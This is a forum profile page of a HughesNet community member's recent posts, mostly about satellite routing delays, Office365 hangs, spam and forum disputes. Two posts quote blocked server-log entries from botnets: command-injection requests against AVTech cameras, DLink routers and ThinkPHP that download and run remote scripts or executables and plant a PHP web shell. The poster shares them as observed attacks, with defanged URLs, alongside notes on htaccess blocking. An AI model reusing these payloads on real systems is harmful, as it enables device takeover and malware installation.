- HughesNet Community
- :
- About MarkJFine
Turn on suggestions
Auto-suggest helps you quickly narrow down your search results by suggesting possible matches as you type.
Showing results for
About MarkJFine
since
10-29-2012
yesterday
MarkJFine
Senior Instructor
1985
Posts
1213
Kudos
42
Solutions
Contact Me
| Online Status |
Offline
|
| Date Last Visited |
yesterday
|
02-24-2019
11:48 AM
1 Kudo
My theory is there's a long delay somewhere upstream in the path: The thing in common is the CenturyLink backbone. I've seen it in file downloads as well, where there's an initial burst, then about a one minute delay until it picks up again normally. That one minute delay is likely what's causing things to hang. Pretty sure there are ICMP blocks in Microsoft's network preventing the traceroutes from completing correctly. So, I wouldn't worry too much about that part of it.
... View more
02-24-2019
10:11 AM
1 Kudo
The problem is that everything is moving to the 'cloud'. Office365 is a subscription requiring you to log in and out to the 'service'. This is true even if their OneDrive isn't even being used... they track literally everything. I've seldom had a problem logging in, but the logoff procedure, which likely includes a lot more tracking data, is what seems to not get acked. So the apps hang as it waits for something or ultimately times out. More often than not I just kill the app, which sets off their error reporter, which will also hang until I kill it. Not a fun process.
... View more
02-24-2019
09:40 AM
1 Kudo
Your upstream provider resolves to Qwest via the Seattle gateway (J2SEA) 60. Qwest was taken over by CenturyLink in 2011. So it's still possible it could be CenturyLink-related. Given their poor record I only hope they don't take over all of the country's backbones. I only seemed to notice it after the fires, and my route goes thru LA, so it seemed to make sense. However, as @GabeU mentions, it could be much larger in scale and after CL's network went whacky at the end of Dec.
... View more
02-24-2019
08:01 AM
@steveandkris Just curious, because it's not been mentioned, what is your Gateway ID? And, have you ever done a traceroute to either microsoft.com or office365.com? If you don't know the Gateway ID, it is the string after 'Data IPGW' on this page. Also, the traceroute will likely rattle around in msn.net a lot (if it even settles anywhere). I'm more concerned about the path the gateway is taking to it - particularly the IP of the hop right after the last 'direcway' hop, and the two or three after that.
... View more
02-23-2019
04:54 PM
There's something intermittent occurring upstream through Level 3/CenturyLink that started right after the Cali fires were quenched. I've had occasional issues with Excel attempting to 'phone home' during app shutdown, causing it to hang for several minutes. As you say it's more prominent during some evenings, but I've had it happen occasionally in the morning and at various times during the day. There is also an apparent stalling issue upstream to the West Coast Cloudflare server in LA which may or may not be related. Edit: Just for clarity: Cloudflare's West Coast server is only one hop from the upstream outroute server used on my gateway, so I'm almost confident it's the upstream outroute server.
... View more
02-23-2019
12:56 PM
Understand. And you're correct, I haven't been following the whole thing. I just know they have changed those kinds of settings on people, which does affect people's speeds, and it's rather irritating. Perhaps one of the admins/mods can peer in, see what's going on and reverse it, but they likely won't be able to do so until they return on Monday. Sorry I couldn't be more help.
... View more
02-23-2019
11:39 AM
1 Kudo
Unfortunately, I can't say anything about the buffering, because there could be a multitude of things causing that. But there are things you can check to see why your speed reduced: If you're used to using the 5GHz wifi band or ethernet cable, make sure you're still using it and didn't switch over to the 2GHz one for some reason. If you are using 5GHz and if you still have the reduced speed problem, carefully look at the wifi settings on the modem to see if they possibly switched you out of 11/a/n/ac wireless mode (provided your computer's wifi supports 802.11ac). OTOH, if you're using an ethernet cable, lord knows what they did.
... View more
02-22-2019
07:31 PM
2 Kudos
Might not be too bad. We thought we'd lose power Wed night, but... nothing. In fact, all the ice/snow we had on Weds is now gone.
... View more
02-20-2019
08:13 PM
1 Kudo
Right. I'll cut to the chase: This isn't social media. It's a support site. In that regard, 50% of what you write is unnecessary. Your constant snark, hyperbole, and smarter-(and holier)-than-everyone attitude, is tiresome and quite unappreciated. It's not funny and you're embarrassing yourself. You want to know why you're getting pushback from people. Now you know. If you want support from the people here, stop alienating yourself from all of them. End of.
... View more
02-20-2019
05:27 PM
1 Kudo
Without using vector calculus, I was able to determine that 250kbps is still >> 56kbps.
... View more
02-19-2019
10:52 AM
Glad this has finally lightened up. Life's too short for so much drama.
... View more
02-18-2019
08:12 PM
1 Kudo
@maratsade wrote: All you have to do to cancel service is call the customer service number. Imagine the power required to muster that...
... View more
02-18-2019
01:10 PM
1 Kudo
I don't think you were here for the last go-around with that particular poster, when he/she was under a different name. Whatever your opinion, the real point is this wasn't the first time.
... View more
02-17-2019
09:37 AM
Found some old botnet examples: Dark botnet (209.141.33.119 is a Frantech Solutions server): "GET /cgi-bin/nobody/Search.cgi?action=cgi_query&ip=google.com&port=80&queryb64str=Lw==&username=admin ;XmlAp r Account.User1.Password>$(cd /tmp; wget hxxp://209.141.33.119/avtechsh -O d4rk; chmod 777 d4rk; sh d4rk)&password=admin HTTP/1.1" Sefa botnet (104.244.76.210 is a FranTech Solutions server): "GET /cgi-bin/nobody/Search.cgi?action=cgi_query&ip=google.com&port=80&queryb64str=Lw==&username=admin ;XmlAp r Account.User1.Password>$(cd /tmp; wget hxxp://104.244.76.210/avtech -O darkxo; chmod 777 darkxo; sh darkxo)&password=admin HTTP/1.1" Hakai botnet (185.244.25.131 is a KV Solutions server): "GET /login.cgi?cli=aa aa';wget hxxp://185.244.25.131/bins.sh -O -> /tmp/kh;sh /tmp/kh'$ HTTP/1.1" Hakai v2 botnet (94.177.216.74 is an Aruba S.p.A. server): "GET /login.cgi?cli=aa aa';wget hxxp://94.177.216.74/sh -O -> /tmp/kh;sh /tmp/kh'$ HTTP/1.1" I've arbitrarily named these with the user-agent that each uses. The first two (Dark and Sefa) actively target AVTech security cameras. The latter two (Hakai) target a vulnerability in DLink routers. Again, I've obfuscated the URL so that people don't accidentally click on them.
... View more
02-16-2019
11:31 PM
1 Kudo
I set things up in two stages: htaccess files that look at the user agent and block terms and browser versions, as well as IPs/CIDRs for the scoundrels I find. Unfortunately, I have to use /24 CIDRs (a block of 256 IPs) for everything found on the European site, because they mask the last digit of the IP octet in the logs iaw EU General Data Protection Regulations. The htaccess file gets the ones that come in 'direct' by IP that the CDR doesn't handle. Then I have a similar set of blocks on the CDR, which also has some of it's own rules. What's good about this system is that *most* people update their browsers and the bad guys usually use old versions of things. For example, the Chinese stuff above was all MSIE 9.0. There's a set of bots that routinely use Chrome 51, Chrome 52, Safari 9.1.2, MSIE 9.0, or nothing at all (blank string) - all are immediate blocks. If a real person gets blocked, the 403 page gives them the date, their IP, their UA string, and tells them to upgrade their browser... if they actually read it. Some don't. If they come in with a recent version string they'll get in unless I've blocked the IP previously. 90% of the time it's a good stopgap and better than nothing until I get the IP denied.
... View more
02-16-2019
09:24 PM
Saw one the other day where they were probing for what kind of phone system was there. Huge list. Still waiting for the botnet looking for AVTech security cameras.
... View more
02-16-2019
08:37 PM
Can't remember which post I talked about hackers getting into unsecured peripherals. Well, here are three log items (all were blocked) from a ChinaNet IP, today: 1) "GET /public/index.php?s=index/think\app/invokefunction_function=call_user_func_array_vars[0]=system_vars[1][]=cmd.exe /c powershell (new-object System.Net.WebClient).DownloadFile('hxxp://a46.bulehero.in/download.exe','C:/12.exe');start C:/12.exe HTTP/1.1" 2) "GET /public/index.php?s=/index/\think\app/invokefunction_function=call_user_func_array_vars[0]=system_vars[1][]=echo ^<?php $action = $_GET['xcmd'];system($action);?^>>hydra.php HTTP/1.1" 3) "GET /public/hydra.php?xcmd=cmd.exe /c powershell (new-object System.Net.WebClient).DownloadFile('hxxp://a46.bulehero.in/download.exe','C:/12.exe');start C:/12.exe HTTP/1.1" Isn't hydra.php a chip for a diesel truck engine? We need more things hooked up to the internet so the Chinese can hack them. I've obfuscated the urls so people don't accidentally click on them.
... View more
02-14-2019
02:14 PM
One meal at the Ft. Gordon Waffle House would be enough for me to drop out of MP school.
... View more
02-14-2019
01:55 PM
1 Kudo
While weather has something to do with it, you'll notice they're basically laid out in a matrix for J2. I used to have GoogleMap image with pins for the locations, which would really show that, but can't find it.
... View more
02-14-2019
01:33 PM
Although my background is both Tactical and Strategic Army, but a bit was Army/National. I made it to several AFBs in my career.
... View more
02-14-2019
11:36 AM
Funny you say that, because I was thinking about Kelly AFB (now Annex due to BRAC) in San Antonio when I wrote that.
... View more
02-14-2019
11:04 AM
And just because I don't want to start a new thread: I've talked about how strange IoT has gotten in the past and how things that really shouldn't be connected to the internet, just because it would be cool to do it. Without being too specific, have a look at the most recent Wired article. Just know that it's specially R-rated for Valentine's Day.
... View more
02-14-2019
09:44 AM
They're currently under flood warnings, which means it's pretty bad. It's dry, but unlike like Southern Texas where a little squall causes mass drownings.
... View more
02-14-2019
09:25 AM
Rain. In San Diego. Enough to cause drop outs and re-acqs at SDO.
... View more
02-14-2019
09:15 AM
2 Kudos
Maybe HN doesn't have them under contract and there could be a multitude of reasons why they're not chosen. I think what @maratsade is trying to say that doesn't mean that's true for every case. In your case you have someone you trust and have been using for 10 years. You also seem to have the basic knowledge to know that they know what their doing and have a rapport. That's a little different than someone without that kind of background simply picking someone out of the phone book instead of going through HN, which could leave the customer completely without any recourse if it goes bad.
... View more
02-13-2019
12:58 PM
1 Kudo
You might be able to set up an SPF or DKIM if you know the IP of the servers your email comes from. It's kind of like sender verification for recipient servers that will treat it as junk if it fails a test. It doesn't eliminate it completely, but it does cut it down significantly.
... View more
02-13-2019
12:30 PM
1 Kudo
Been getting these daily from an email server in India (estroweb.in) telling me my email is over it's quota, or I've been locked out, or... you name it. This comes from my AbuseIPDB reporter app (that I wrote), which replaces pertinent parts I want to obscure with 'xxxx': [Wed Feb 13 16:05:10 2019 GMT] "xxxx.com" <Noreply.Quota@storage.com> [URIBL_INV,URIBL_DBL_ABUSE_SPAM,RDNS_NONE], Subject: Your E-mail Rectification For xxxx@xxxx.com Always wary of anything that uses your email address or domain anywhere in the 'mfrom' area. In fact, I have a rule set up that unless they come from a specific IP (my server) they get logged and routed to /dev/nul
... View more
02-13-2019
10:17 AM
2 Kudos
Just had a thought... wonder if any of these two people are any of those that don't know where their data is going and don't realize this is running behind the scenes.
... View more
